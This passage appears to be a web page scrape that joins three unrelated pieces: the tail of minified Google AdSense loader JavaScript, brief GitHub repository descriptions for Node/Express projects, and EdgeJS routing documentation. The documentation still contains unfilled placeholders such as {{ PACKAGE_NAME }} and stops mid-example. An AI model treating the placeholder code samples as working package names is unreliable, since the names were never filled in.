a}if(!0!==vg(c,a,d,.3,b))d=!1;else{b.google_resizing_allowed=!0;k=Bh(c.location,"google_responsive_slot_debug");m=O(zf(),142);if(k||Math.random()<m)b.ovlp=!0;h||g||n?(h={},Ci(e(),d,h),b.google_resizing_width=h.google_ad_width,b.google_resizing_height=h.google_ad_height,h.ds&&(b.ds=h.ds),b.iaaso=!1):(b.google_ad_format="auto",b.iaaso=!0,b.armr=1);(d=f?"AutoOptimizeAdSizeVariant":g?"AutoOptimizeAdSizeOriginal":null)&&(b.google_ad_channel=b.google_ad_channel?[b.google_ad_channel,d].join("+"):d);d=!0}}}if(e=kj(b))lj(e,a,b,c,d);else{if(qg(a,b)){if(d=$b(a,c))a.style.width=d.width,a.style.height=d.height,pg(d,b);b.google_ad_width||(b.google_ad_width=a.offsetWidth);b.google_ad_height||(b.google_ad_height=a.offsetHeight);b.google_loader_features_used=256;b.google_responsive_auto_format=Xj(c)}else pg(a.style,b),300==b.google_ad_width&&250==b.google_ad_height&&(d=a.style.width,a.style.width="100%",e=a.offsetWidth,a.style.width=d,b.google_available_width=e);c.location&&"#gfwmrp"==c.location.hash||12==b.google_responsive_auto_format&&"true"==b.google_full_width_responsive&&!J(c,Mf.g)?lj(10,a,b,c,!1):J(c,Nf.g)&&12==b.google_responsive_auto_format&&(a=wg(a.offsetWidth||parseInt(a.style.width,10)||b.google_ad_width,c,a,b),!0!==a?(b.efwr=!1,b.gfwrnwer=a):b.efwr=!0)}};function Zj(a){var b;this.b=b=void 0===b?document:b;this.h=void 0===a?0:a;this.f=ak(this,"__gads=");this.i=!1;this.a=null;this.s=!1;bk(this)}Zj.prototype.w=function(a){this.h=a;bk(this)};function ck(a,b){var c=Vd;var d=void 0===d?dk:d;1!=a.h&&(a.f||a.i)&&(D._setgfp_=Ud(c,629,function(e){delete D._setgfp_;if(!e)throw Error("Invalid JSONP response");if(e=e._cookies_){var f=e[0];if(!f)throw Error("Invalid JSONP response");var g=f._value_,h=f._expires_;e=f._path_;f=f._domain_;if(!(q(g)&&pa(h)&&q(e)&&q(f)))throw Error("Invalid JSONP response");var k=new Nb;g=Ib(k,1,g);h=Ib(g,2,h);e=Ib(h,3,e);e=[Ib(e,4,f)];e.length&&(a.a=e[0],e=a.a&&y(a.a,1))&&(a.f=e,null!=a.a&&a.f&&(e=new Date,e.setTime(1E3*y(a.a,2)),f="."+y(a.a,4),e="__gads="+a.f+("; expires="+e.toGMTString())+("; path="+y(a.a,3)+"; domain="+f),a.b.cookie=e))}}),Zb(a.b,d({domain:a.b.domain,clientId:b,value:a.f,cookieEnabled:a.i})))}function dk(a){var b=a.value,c=a.cookieEnabled;a="https://partner.googleadservices.com/gampad/cookie.js?domain="+a.domain+"&callback=_setgfp_&client="+a.clientId;b&&(a+="&cookie="+encodeURIComponent(b));c&&(a+="&cookie_enabled=1");return a}function bk(a){if(!a.f&&!a.s&&1!=a.h){a.b.cookie="GoogleAdServingTest=Good";var b="Good"===ak(a,"GoogleAdServingTest=");if(b){var c=a.b,d=new Date;d.setTime((new Date).valueOf()+-1);c.cookie="GoogleAdServingTest=; expires="+d.toGMTString()}a.i=b;a.s=!0}}function ak(a,b){a=a.b.cookie;var c=a.indexOf(b);if(-1===c)return"";b=c+b.length;c=a.indexOf(";",b);-1==c&&(c=a.length);return a.substring(b,c)};function ek(a){return Kc.test(a.className)&&"done"!=a.getAttribute("data-adsbygoogle-status")}function fk(a,b){var c=window;a.setAttribute("data-adsbygoogle-status","done");gk(a,b,c)}function gk(a,b,c){var d=Jc();d.google_spfd||(d.google_spfd=Yj);(d=b.google_reactive_ads_config)||Yj(a,b,c);if(!hk(a,b,c)){d||(c.google_lpabyc=Nh(c,a));if(d){d=d.page_level_pubvars||{};if(I(D).page_contains_reactive_tag&&!I(D).allow_second_reactive_tag){if(d.pltais){Oc(!1);return}throw new L("Only one 'enable_page_level_ads' allowed per page.");}I(D).page_contains_reactive_tag=!0;Oc(7===d.google_pgb_reactive)}else Fc(c);if(!I(D).per_pub_js_loaded){I(D).per_pub_js_loaded=!0;try{c.localStorage.removeItem("google_pub_config")}catch(e){}}Dc(Cj,function(e,f){b[f]=b[f]||c[f]});b.google_loader_used="aa";b.google_reactive_tag_first=1===(I(D).first_tag_on_page||0);be(164,function(){Tj(c,b,a)})}}function hk(a,b,c){var d=b.google_reactive_ads_config;if(d){var e=d.page_level_pubvars;var f=(za(e)?e:{}).google_tag_origin}e=q(a.className)&&/(\W|^)adsbygoogle-noablate(\W|$)/.test(a.className);var g=b.google_ad_slot;var h=f||b.google_tag_origin;f=I(c);Pc(f.ad_whitelist||[],g,h)?g=null:(h=f.space_collapsing||"none",g=(g=Pc(f.ad_blacklist||[],g))?{ma:!0,ya:g.space_collapsing||h}:f.remove_ads_by_default?{ma:!0,ya:h,ca:f.ablation_viewport_offset}:null);if(g&&g.ma&&"on"!=b.google_adtest&&!e&&(e=Hg(a,c),!g.ca||g.ca&&(e||0)>=g.ca))return a.className+=" adsbygoogle-ablated-ad-slot",c=c.google_sv_map=c.google_sv_map||{},d=Aa(a),c[b.google_element_uid]=b,a.setAttribute("google_element_uid",d),"slot"==g.ya&&(null!==ic(a.getAttribute("width"))&&a.setAttribute("width",0),null!==ic(a.getAttribute("height"))&&a.setAttribute("height",0),a.style.width="0px",a.style.height="0px"),!0;if((e=$b(a,c))&&"none"==e.display&&!("on"==b.google_adtest||0<b.google_reactive_ad_format||d))return c.document.createComment&&a.appendChild(c.document.createComment("No ad requested because of display:none on the adsbygoogle tag")),!0;a=null==b.google_pgb_reactive||3===b.google_pgb_reactive;return 1!==b.google_reactive_ad_format&&8!==b.google_reactive_ad_format||!a?!1:(p.console&&p.console.warn("Adsbygoogle tag with data-reactive-ad-format="+b.google_reactive_ad_format+" is deprecated. Check out page-level ads at https://www.google.com/adsense"),!0)}function ik(a){var b=document.getElementsByTagName("INS");for(var c=0,d=b[c];c<b.length;d=b[++c]){var e=d;if(ek(e)&&"reserved"!=e.getAttribute("data-adsbygoogle-status")&&(!a||d.id==a))return d}return null}function jk(){var a=Rb(document,"INS");a.className="adsbygoogle";a.className+=" adsbygoogle-noablate";kc(a);return a}function kk(a){var b={};Dc(md,function(e,f){!1===a.enable_page_level_ads?b[f]=!1:a.hasOwnProperty(f)&&(b[f]=a[f])});za(a.enable_page_level_ads)&&(b.page_level_pubvars=a.enable_page_level_ads);var c=jk();Ob.body.appendChild(c);var d={};d=(d.google_reactive_ads_config=b,d.google_ad_client=a.google_ad_client,d);d.google_pause_ad_requests=I(D).pause_ad_requests||!1;fk(c,d)}function lk(a){return"complete"==a.readyState||"interactive"==a.readyState}function mk(a){function b(){return kk(a)}var c=void 0===c?Ob:c;var d=Mc(window);if(!d)throw new L("Page-level tag does not work inside iframes.");ng(d).wasPlaTagProcessed=!0;if(c.body||lk(c))b();else{var e=Ra(ce(191,b));rc(c,"DOMContentLoaded",e);(new p.MutationObserver(function(f,g){c.body&&(e(),g.disconnect())})).observe(c,{childList:!0,subtree:!0})}}function nk(a){var b={};be(165,function(){ok(a,b)},function(c){c.client=c.client||b.google_ad_client||a.google_ad_client;c.slotname=c.slotname||b.google_ad_slot;c.tag_origin=c.tag_origin||b.google_tag_origin})}function pk(a){delete a.google_checked_head;ec(a,function(b,c){Rc[c]||(delete a[c],b=c.replace("google","data").replace(/_/g,"-"),p.console.warn("AdSense head tag doesn't support "+b+" attribute."))})}function qk(a){var b=D._gfp_;if(void 0===b||1===b)J(D,Sf.g)?ck(D._gfp_=new Zj(b?1:0),a):D._gfp_=2}function rk(){var a=yf(201),b=J(D,Zf.g),c=J(D,Zf.c);return b||a&&!c}function ok(a,b){if(null==a)throw new L("push() called with no parameters.");Ha=(new Date).getTime();Mj();a:{if(void 0!=a.enable_page_level_ads){if(q(a.google_ad_client)){var c=!0;break a}throw new L("'google_ad_client' is missing from the tag config.");}c=!1}if(c)sk(a,b);else if((c=a.params)&&Dc(c,function(e,f){b[f]=e}),"js"===b.google_ad_output)console.warn("Ads with google_ad_output='js' have been deprecated and no longer work. Contact your AdSense account manager or switch to standard AdSense ads.");else{a=tk(a.element);Wj(a,b);c=I(p).head_tag_slot_vars||{};ec(c,function(e,f){b.hasOwnProperty(f)||(b[f]=e)});if(a.hasAttribute("data-require-head")&&!I(p).head_tag_slot_vars)throw new L("AdSense head tag is missing. AdSense body tags don't work without the head tag. You can copy the head tag from your account on https://adsense.com.");if(rk()&&!b.google_ad_client)throw new L("Ad client is missing from the slot.");var d=(c=0===(I(D).first_tag_on_page||0)&&Lh(b))&&Mh(c);c&&!d&&(sk(c),I(D).skip_next_reactive_tag=!0);0===(I(D).first_tag_on_page||0)&&(I(D).first_tag_on_page=2);qk(b.google_ad_client);b.google_pause_ad_requests=I(D).pause_ad_requests||!1;fk(a,b);c&&d&&uk(c)}}function uk(a){function b(){ng(p).wasPlaTagProcessed||p.adsbygoogle&&p.adsbygoogle.push(a)}lk(Ob)?b():rc(Ob,"DOMContentLoaded",Ra(b))}function sk(a,b){if(I(D).skip_next_reactive_tag)I(D).skip_next_reactive_tag=!1;else{0===(I(D).first_tag_on_page||0)&&(I(D).first_tag_on_page=1);b&&a.tag_partner&&(Nc(p,a.tag_partner),Nc(b,a.tag_partner));a:if(!I(D).ama_ran_on_page){try{var c=p.localStorage.getItem("google_ama_config")}catch(z){c=null}try{var d=c?new dd(c?JSON.parse(c):null):null}catch(z){d=null}if(b=d)if(c=B(b,fd,3),!c||y(c,1)<=+new Date)try{p.localStorage.removeItem("google_ama_config")}catch(z){me(p,{lserr:1})}else{if(Mh(a)&&(c=nd(p.location.pathname,C(b,gd,7)),!c||!Fb(c,8)))break a;I(D).ama_ran_on_page=!0;B(b,jd,13)&&1===y(B(b,jd,13),1)&&(c=0,B(B(b,jd,13),kd,6)&&y(B(B(b,jd,13),kd,6),3)&&(c=y(B(B(b,jd,13),kd,6),3)||0),d=I(p),d.remove_ads_by_default=!0,d.space_collapsing="slot",d.ablation_viewport_offset=c);mf(3,[Jb(b)]);c=a.google_ad_client;d=he(je,new ge(null,ne(za(a.enable_page_level_ads)?a.enable_page_level_ads:{})));try{var e=nd(p.location.pathname,C(b,gd,7)),f;if(f=e)b:{var g=y(e,2);if(g)for(var h=0;h<g.length;h++)if(1==g[h]){f=!0;break b}f=!1}if(f){if(y(e,4)){f={};var k=new ge(null,(f.google_package=y(e,4),f));d=he(d,k)}var m=new mh(c,b,e,d),n=new rh;(new wh(m,n)).start();var u=n.b;var w=Ga(zh,p);if(u.b)throw Error("Then functions already set.");u.b=Ga(yh,p);u.f=w;uh(u)}}catch(z){me(p,{atf:-1})}}}mk(a)}}function tk(a){if(a){if(!ek(a)&&(a.id?a=ik(a.id):a=null,!a))throw new L("'element' has already been filled.");if(!("innerHTML"in a))throw new L("'element' is not a good DOM element.");}else if(a=ik(),!a)throw new L("All ins elements in the DOM with class=adsbygoogle already have ads in them.");return a}function vk(){Zd();Vd.s=ee;be(166,wk)}function wk(){var a=Cc(Bc(D))||D,b=I(a);if(!b.plle){b.plle=!0;var c=[null,null];try{var d=JSON.parse("[[[175,null,null,[1]]],[[12,[[1,[[21064123],[21064124]]]]],[10,[[10,[[20040008],[20040009,[[182,null,null,[1]]]]]],[1,[[21062810],[21062811]]],[1,[[21063996],[21063997,[[160,null,null,[1]]]]]],[50,[[21064339],[21064340,[[186,null,null,[1]]]]]],[50,[[21064380],[21064381,[[196,null,null,[1]]]]]],[1000,[[368226200,null,[2,[[12,null,null,5,null,null,\x22[02468]$\x22,[\x229\x22]],[7,null,null,5,null,2,null,[\x229\x22]]]]],[368226201,null,[2,[[12,null,null,5,null,null,\x22[13579]$\x22,[\x229\x22]],[7,null,null,5,null,2,null,[\x229\x22]]]]]]],[1000,[[368845002,null,[2,[[12,null,null,5,null,null,\x22[13579]$\x22,[\x224\x22]],[7,null,null,5,null,2,null,[\x224\x22]]]]],[368885001,null,[2,[[12,null,null,5,null,null,\x22[02468]$\x22,[\x224\x22]],[7,null,null,5,null,2,null,[\x224\x22]]]]]]]]],[11,[[10,[[248427477],[248427478,[[154,null,null,[1]]]]]]]]]]")}catch(m){d=c}mf(13,[d]);ti(new ei(d),Zh(a));Cf.j().a(12);Cf.j().a(10);b.eids=Ka(Cf.j().b(),String).concat(b.eids||[]);b=b.eids;d=zf();zc=!0;c=zf();var e=Mc(a)||a;e=Bh(e.location,"google_responsive_slot_debug")||Bh(e.location,"google_responsive_slot_preview");var f=Ih(a,11);var g=null!=Gh(a,"");e?(e=ag,f=cg,c=e.g):g?(e=fg,f=gg,c=T(a,new K(0,999,""),O(c,152),O(c,153),[e.c,e.g],2)):f?(e=dg,f=eg,c=T(a,new K(0,999,""),O(c,120),O(c,121),[e.c,e.g],2)):(e=ag,f=cg,c=T(a,Rh,O(c,96),O(c,97),[e.c,e.g]));c?(g={},e=(g[e.c]=f.c,g[e.g]=f.g,g)[c],c={Qa:c,Sa:e}):c=null;e=c||{};c=e.Qa;g=e.Sa;c&&g&&(S(b,c),S(b,g));e=Mf;c=wi(a,O(d,136),[e.c,e.g]);S(b,c);Ih(a,12)&&(e=Ff,f=Ef,c=T(a,new K(0,999,""),O(d,149),O(d,150),[e.c,e.g],4),S(b,c),c==e.c?g=f.c:c==e.g?g=f.g:g="",S(b,g));e=Jf;c=T(a,Oh,O(d,160),O(d,161),[e.c,e.R,e.P]);S(b,c);f=If;c==e.c?g=f.c:c==e.R?g=f.R:c==e.P?g=f.P:g="";S(b,g);e=Tf;S(b,T(a,Ph,O(d,9),O(d,10),[e.c,e.Da]));e=Hf;c=T(a,Uh,O(d,179),O(d,180),[e.c,e.U]);S(b,c);f=Gf;c==e.c?g=f.c:c==e.U?g=f.U:g="";S(b,g);e=$f;c=T(a,Xh,O(d,195),O(d,196),[e.c,e.g]);S(b,c);f=Zf;c==e.c?g=f.c:c==e.g?g=f.g:g="";S(b,g);e=Lf;c=T(a,Yh,O(d,199),O(d,200),[e.c,e.g]);S(b,c);f=Kf;c==e.c?g=f.c:c==e.g?g=f.g:g="";S(b,g);Ya("")&&S(b,"");e=Uf;c=wi(a,O(d,13),[e.o,e.c]);S(b,c);c=wi(a,0,[e.la]);S(b,c);e=Vf;c=wi(a,O(d,60),[e.o,e.c]);S(b,c);c==Vf.o&&(e=Wf,c=wi(a,O(d,66),[e.o,e.c]),S(b,c),e=Yf,c=wi(a,O(d,137),[e.o,e.c]),S(b,c),c==Wf.o&&(e=Xf,c=wi(a,O(d,135),[e.o,e.c]),S(b,c)));e=Nf;c=wi(a,O(d,98),[e.c,e.g]);S(b,c);e=Sf;c=wi(a,O(d,192),[e.c,e.g]);S(b,c);e=Of;c=T(a,Th,O(d,157),O(d,158),[e.c,e.B]);S(b,c);f=Pf;c==e.c?g=f.c:c==e.B?g=f.B:g="";S(b,g);e=Qf;c=T(a,Sh,O(d,173),O(d,174),[e.c,e.g]);S(b,c);f=Rf;c==e.c?g=f.c:c==e.g?g=f.g:g="";S(b,g);e=hg;c=T(a,Qh,O(d,99),O(d,100),[e.c,e.g]);S(b,c);f=ig;c==e.c?g=f.c:c==e.g?g=f.g:g="";S(b,g);e=jg;c=wi(a,O(d,165),[e.c,e.g]);S(b,c);e=P;c=T(a,Vh,O(d,189),O(d,190),[e.c,e.T,e.L,e.K,e.I,e.J]);S(b,c);f=kg;c==e.c?g=f.c:c==e.T?g=f.T:c==e.L?g=f.L:c==e.K?g=f.K:c==e.I?g=f.I:c==e.J?g=f.J:g="";S(b,g);e=lg;c=T(a,Wh,O(d,193),O(d,194),[e.c,e.aa,e.ba]);S(b,c);c=wi(a,O(d,185),["20199336","20199335"]);S(b,c);a=Mc(a)||a;Bh(a.location,"google_mc_lab")&&S(b,"242104166")}if(!t("Trident")&&!t("MSIE")||ub(11)){a=J(D,Wf.o)||J(D,Uf.o)||J(D,Uf.la);Xd(a);Ij();Fj(".google.dz")&&(Z[1]=".google.dz");Kj();if(a=Mc(p))a=ng(a),a.tagSpecificState[1]||(a.tagSpecificState[1]=new Ah);if(d=D.document.querySelector('script[src*="/pagead/js/adsbygoogle.js"][data-ad-client]:not([data-checked-head])')){d.setAttribute("data-checked-head","true");b=I(window);if(b.head_tag_slot_vars)throw new L("Only one AdSense head tag supported per page. The second tag is ignored.");a={};Wj(d,a);pk(a);d={};for(var h in a)d[h]=a[h];b.head_tag_slot_vars=d;h={};h=(h.google_ad_client=a.google_ad_client,h.enable_page_level_ads=a,h);D.adsbygoogle||(D.adsbygoogle=[]);a=D.adsbygoogle;a.loaded?a.push(h):a.splice(0,0,h)}h=window.adsbygoogle;if(!h||!h.loaded){a={push:nk,loaded:!0};try{Object.defineProperty(a,"requestNonPersonalizedAds",{set:xk}),Object.defineProperty(a,"pauseAdRequests",{set:yk}),Object.defineProperty(a,"setCookieOptions",{set:zk}),Object.defineProperty(a,"onload",{set:Ak})}catch(m){}if(h)for(b=ba(["requestNonPersonalizedAds","pauseAdRequests","setCookieOptions"]),d=b.next();!d.done;d=b.next())d=d.value,void 0!==h[d]&&(a[d]=h[d]);if(h&&h.shift)try{var k;for(b=20;0<h.length&&(k=h.shift())&&0<b;)nk(k),--b}catch(m){throw window.setTimeout(vk,0),m;}window.adsbygoogle=a;h&&(a.onload=h.onload)}}}function xk(a){if(+a){if((a=Yb())&&a.frames&&!a.frames.GoogleSetNPA)try{var b=a.document,c=new Sb(b),d=b.body||b.head&&b.head.parentElement;if(d){var e=Rb(c.a,"IFRAME");e.name="GoogleSetNPA";e.id="GoogleSetNPA";e.setAttribute("style","display:none;position:fixed;left:-999px;top:-999px;width:0px;height:0px;");d.appendChild(e)}}catch(f){}}else(b=Yb().document.getElementById("GoogleSetNPA"))&&b.parentNode&&b.parentNode.removeChild(b)}function yk(a){+a?I(D).pause_ad_requests=!0:(I(D).pause_ad_requests=!1,a=function(){if(!I(D).pause_ad_requests){var b=Jc(),c=Jc();try{if(Ob.createEvent){var d=Ob.createEvent("CustomEvent");d.initCustomEvent("adsbygoogle-pub-unpause-ad-requests-event",!1,!1,"");b.dispatchEvent(d)}else if(Ec(c.CustomEvent)){var e=new c.CustomEvent("adsbygoogle-pub-unpause-ad-requests-event",{bubbles:!1,cancelable:!1,detail:""});b.dispatchEvent(e)}else if(Ec(c.Event)){var f=new Event("adsbygoogle-pub-unpause-ad-requests-event",{bubbles:!1,cancelable:!1});b.dispatchEvent(f)}}catch(g){}}},p.setTimeout(a,0),p.setTimeout(a,1E3))}function zk(a){var b=D._gfp_;void 0===b||1===b?D._gfp_=a?1:void 0:b instanceof Zj&&b.w(a?1:0)}function Ak(a){Ec(a)&&window.setTimeout(a,0)};vk();}).call(this);
albibos
Gitloaf an open sourced cdn that displays files from github with their correct content type headers. Similar to raw.githack.com, except using nodejs and express instead of nginx configs.
JacobGrisham
Monolithic model-view-controller full-stack web application built with Node.js, Express.js, MonogDB, Jest, EJS, and Bootstrap. Integration-tested with Jest. Server hosted on Heroku with CircleCI CI/CD, Database hosted on MongoDB Atlas, served over Cloudflare CDN with Google Domains as DNS provider.
paulshryock
This starter kit consists of an Express REST API with CRUD capabilities, powered by a Node server, connected to a MongoDB database with Mongoose, and configured for Heroku deployment. This powers a client-side JAMstack static website built with Eleventy, Gulp, PostCSS, and Webpack, and configured for deployment to a CDN via Netlify. The full stack has CI/CD setup - deploy both server and client by merging a pull request into the master branch on GitHub. Sass is linted, transpiled into CSS, post-processed with PostCSS, beautified in development, and minified in production, with source maps. JavaScript is linted, transpiled with Babel, bundled with Webpack, concatenated, and minified in production, with source maps.
Nate158s
# Routing with EdgeJS https://github.com/Nate158s The `{{ PACKAGE_NAME }}/core` package provides a JavaScript API for controlling routing and caching from your code base rather than a CDN web portal. Using this _{{ EDGEJS_LABEL }}_ approach allows this vital routing logic to be properly tested, reviewed, and version controlled, just like the rest of your application code. Using the Router, you can: - Proxy requests to upstream sites - Send redirects from the network edge - Render responses on the server using Next.js, Nuxt.js, Angular, or any other framework that supports server side rendering. - Alter request and response headers - Send synthetic responses - Configure multiple destinations for split testing ## Configuration To define routes for {{ PRODUCT_NAME }}, create a `routes.js` file in the root of your project. You can override the default path to the router by setting the `routes` key in `{{ CONFIG_FILE }}`. The `routes.js` file should export an instance of `{{ PACKAGE_NAME }}/core/router/Router`: ```js // routes.js const { Router } = require('{{ PACKAGE_NAME }}/core/router') module.exports = new Router() ``` ## Declare Routes Declare routes using the method corresponding to the HTTP method you want to match. ```js // routes.js const { Router } = require('{{ PACKAGE_NAME }}/core/router') module.exports = new Router().get('/some-path', ({ cache, proxy }) => { // handle the request here }) ``` All HTTP methods are available: - get - put - post - patch - delete - head To match all methods, use `match`: ```js // routes.js const { Router } = require('{{ PACKAGE_NAME }}/core/router') module.exports = new Router().match('/some-path', ({ cache, proxy }) => { // handle the request here }) ``` ## Route Execution When {{ PRODUCT_NAME }} receives a request, it executes **each route that matches the request** in the order in which they are declared until one sends a response. The following methods return a response: - [appShell](/docs/api/core/classes/_router_responsewriter_.responsewriter.html#appshell) - [compute](/docs/api/core/classes/_router_responsewriter_.responsewriter.html#compute) - [proxy](/docs/api/core/classes/_router_responsewriter_.responsewriter.html#proxy) - [redirect](/docs/api/core/classes/_router_responsewriter_.responsewriter.html#redirect) - [send](/docs/api/core/classes/_router_responsewriter_.responsewriter.html#send) - [serveStatic](/docs/api/core/classes/_router_responsewriter_.responsewriter.html#servestatic) - [serviceWorker](/docs/api/core/classes/_router_responsewriter_.responsewriter.html#serviceworker) - [stream](/docs/api/core/classes/_router_responsewriter_.responsewriter.html#stream) - [use](/docs/api/core/classes/_router_responsewriter_.responsewriter.html#compute) Multiple routes can therefore be executed for a given request. A common pattern is to add caching with one route and render the response with a later one using middleware. In the following example we cache then render a response with Next.js: ```js const { Router } = require('{{ PACKAGE_NAME }}/core/router') const { nextRoutes } = require('{{ PACKAGE_NAME }}/next') // In this example a request to /products/1 will be cached by the first route, then served by the `nextRoutes` middleware new Router() .get('/products/:id', ({ cache }) => { cache({ edge: { maxAgeSeconds: 60 * 60, staleWhileRevalidateSeconds: 60 * 60 }, }) }) .use(nextRoutes) ``` ### Alter Requests and Responses {{ PRODUCT_NAME }} offers APIs to manipulate request and response headers and cookies. The APIs are: | Operation | Request | Upstream Response | Response sent to Browser | | ------------- | --------------------- | ------------------------------ | ------------------------ | | Set header | `setRequestHeader` | `setUpstreamResponseHeader` | `setResponseHeader` | | Add cookie | `*` | `addUpstreamResponseCookie` | `addResponseCookie` | | Update header | `updateRequestHeader` | `updateUpstreamResponseHeader` | `updateResponseHeader` | | Update cookie | `*` | `updateUpstreamResponseCookie` | `updateResponseCookie` | | Remove header | `removeRequestHeader` | `removeUpstreamResponseHeader` | `removeResponseHeader` | | Remove cookie | `*` | `removeUpstreamResponseCookie` | `removeResponseCookie` | `*` Adding, updating, or removing a request cookie can be achieved with `updateRequestHeader` applied to `cookie` header. You can find detailed descriptions of these APIs in the `{{ PACKAGE_NAME }}/core` [documentation](/docs/api/core/classes/_router_responsewriter_.responsewriter.html). #### Embedded Values You can inject values from the request or response into headers or cookies as template literals using the `${value}` format. For example: `setResponseHeader('original-request-path', '${path}')` would add an `original-request-path` response header whose value is the request path. | Value | Embedded value | Description | | --------------- | ---------------------- | ----------------------------------------------------------------------------------------------------------------------------- | | HTTP method | `${method}` | The value of the HTTP method used for the request (e.g. `GET`) | | URL | `${url}` | The complete URL path including any query strings (e.g. `/search?query=docs`). Protocol, hostname, and port are not included. | | Path | `${path}` | The URL path excluding any query strings (e.g. `/search`) | | Query string | `${query:<name>}` | The value of the `<name>` query string or empty if not available. | | Request header | `${req:<name>}` | The value of the `<name>` request header or empty if not available. | | Request cookie | `${req:cookie:<name>}` | The value of the `<name>` cookie in `cookie` request header or empty if not available. | | Response header | `${res:<name>}` | The value of the `<name>` response header or empty if not available. | ## Route Pattern Syntax The syntax for route paths is provided by [path-to-regexp](https://github.com/pillarjs/path-to-regexp#path-to-regexp), which is the same library used by [Express](https://expressjs.com/). ### Named Parameters Named parameters are defined by prefixing a colon to the parameter name (`:foo`). ```js new Router().get('/:foo/:bar', res => { /* ... */ }) ``` **Please note:** Parameter names must use "word characters" (`[A-Za-z0-9_]`). #### Custom Matching Parameters Parameters can have a custom regexp, which overrides the default match (`[^/]+`). For example, you can match digits or names in a path: ```js new Router().get('/icon-:foo(\\d+).png', res => { /* ... */ }) ``` **Tip:** Backslashes need to be escaped with another backslash in JavaScript strings. #### Custom Prefix and Suffix Parameters can be wrapped in `{}` to create custom prefixes or suffixes for your segment: ```js new Router().get('/:attr1?{-:attr2}?{-:attr3}?', res => { /* ... */ }) ``` ### Unnamed Parameters It is possible to write an unnamed parameter that only consists of a regexp. It works the same the named parameter, except it will be numerically indexed: ```js new Router().get('/:foo/(.*)', res => { /* ... */ }) ``` ### Modifiers Modifiers must be placed after the parameter (e.g. `/:foo?`, `/(test)?`, `/:foo(test)?`, or `{-:foo(test)}?`). #### Optional Parameters can be suffixed with a question mark (`?`) to make the parameter optional. ```js new Router().get('/:foo/:bar?', res => { /* ... */ }) ``` **Tip:** The prefix is also optional, escape the prefix `\/` to make it required. #### Zero or More Parameters can be suffixed with an asterisk (`*`) to denote zero or more parameter matches. ```js new Router().get('/:foo*', res => { /* res.params.foo will be an array */ }) ``` The captured parameter value will be provided as an array. #### One or More Parameters can be suffixed with a plus sign (`+`) to denote one or more parameter matches. ```js new Router().get('/:foo+', res => { /* res.params.foo will be an array */ }) ``` The captured parameter value will be provided as an array. ## Matching Method, Query Parameters, Cookies, and Headers Match can either take a URL path, or an object which allows you to match based on method, query parameters, cookies, or request headers: ```js router.match( { path: '/some-path', // value is route-pattern syntax method: /GET|POST/i, // value is a regular expression cookies: { currency: /^(usd)$/i }, // keys are cookie names, values are regular expressions headers: { 'x-moov-device': /^desktop$/i }, // keys are header names, values are regular expressions query: { page: /^(1|2|3)$/ }, // keys are query parameter names, values are regular expressions }, () => {}, ) ``` ## Body Matching for POST requests You can also match HTTP `POST` requests based on their request body content as in the following example: ```js router.match( { body: { parse: 'json', criteria: { operationName: 'GetProducts' } }, // the body content will parsed as JSON and the parsed JSON matched against the presence of the criteria properties (in this case a GraphQL operation named 'GetProducts') }, () => {}, ) ``` Currently the only body content supported is JSON. Body content is parsed as JSON and is matched against the presence of the fields specified in the `criteria` field. The [_POST Body Matching Criteria_](#section_post_body_matching_criteria) section below contains examples of using the `criteria` field. Body matching can be combined with other match parameters such as headers and cookies. For example, ```js router.match( { // Only matches GetProducts operations to the /graphql endpoint // for logged in users path: '/graphql', cookies: { loginStatus: /^(loggedIn)$/i }, // loggedin users body: { parse: 'json', criteria: { operationName: 'GetProducts' } }, }, () => {}, ) ``` ### Caching & POST Body Matching When body matching is combined with `cache` in a route, **the HTTP request body will automatically be used as the cache key.** For example, the code below will cache GraphQL `GetProducts` queries using the entire request body as the cache key: ```js router.match( { body: { parse: 'json', criteria: { operationName: 'GetProducts' } }, }, ({ cache }) => { cache({ edge: { maxAgeSeconds: 60 * 60, staleWhileRevalidateSeconds: 60 * 60 * 24, // this way stale items can still be prefetched }, }) }, ) ``` You can still add additional parameters to the cache key using the normal {{ EDGEJS_LABEL }} `key` property. For example, the code below will cache GraphQL `GetProducts` queries separately for each user based on their userID cookie _and_ the HTTP body of the request. ```js router.match( { body: { parse: 'json', criteria: { operationName: 'GetProducts' } }, }, ({ cache }) => { cache({ edge: { maxAgeSeconds: 60 * 60, staleWhileRevalidateSeconds: 60 * 60 * 24, // this way stale items can still be prefetched }, key: new CustomCacheKey().addCookie('userID'), // Split cache by userID }) }, ) ``` ### POST Body Matching Criteria The `criteria` property can be a string or regular expression. For example, the router below, ```js router.match( { body: { parse: 'json', criteria: { foo: 'bar' } }, }, () => {}, ) ``` would match an HTTP POST request body containing: ```js { "foo": "bar", "bar": "foo" } ``` ### Regular Expression Criteria Regular expressions can also be used as `criteria`. For example, ```js router.match( { body: { parse: 'json', criteria: { operationName: /^Get/ } }, }, () => {}, ) ``` would match an HTTP POST body containing: ```js { "operationName": "GetShops", "query": "...", "variables": {} } ``` ### Nested JSON Criteria You can also use a nested object to match a field at a specific location in the JSON. For example, ```js router.match( { body: { parse: 'json', criteria: { operation: { name: 'GetShops', }, }, }, }, () => {}, ) ``` would match an HTTP POST body containing: ```js { "operation": { "name": "GetShops", "query": "..." } } ``` ## GraphQL Queries The {{ EDGEJS_LABEL }} router provides a `graphqlOperation` method for matching GraphQL. ```js router.graphqlOperation('GetProducts', res => { /* Handle the POST for the GetProducts query specifically */ }) ``` By default, the `graphqlOperation` assumes your GraphQL endpoint is at `/graphql`. You can alter this behavior by using the `path` property as shown below: ```js router.graphqlOperation({ path: '/api/graphql', name: 'GetProducts' }, res => { /* Handle the POST for the GetProducts query specifically */ }) ``` Note that when the `graphqlOperation` function is used, the HTTP request body will automatically be included in the cache key. The `graphqlOperation` function is provided to simplify matching of common GraphQL scenarios. For complex GraphQL matching (such as authenticated data), you can use the generic [_Body Matching for POST requests_](#section_body_matching_for_post_requests) feature. See the guide on [Implementing GraphQL Routing](/guides/graphql) in your project. ## Request Handling The second argument to routes is a function that receives a `ResponseWriter` and uses it to send a response. Using `ResponseWriter` you can: - Proxy a backend configured in `{{ CONFIG_FILE }}` - Serve a static file - Send a redirect - Send a synthetic response - Cache the response at edge and in the browser - Manipulate request and response headers [See the API Docs for Response Writer](/docs/__version__/api/core/classes/_router_responsewriter_.responsewriter.html) ## Full Example This example shows typical usage of `{{ PACKAGE_NAME }}/core`, including serving a service worker, next.js routes (vanity and conventional routes), and falling back to a legacy backend. ```js // routes.js const { Router } = require('{{ PACKAGE_NAME }}/core/router') module.exports = new Router() .get('/service-worker.js', ({ serviceWorker }) => { // serve the service worker built by webpack serviceWorker('dist/service-worker.js') }) 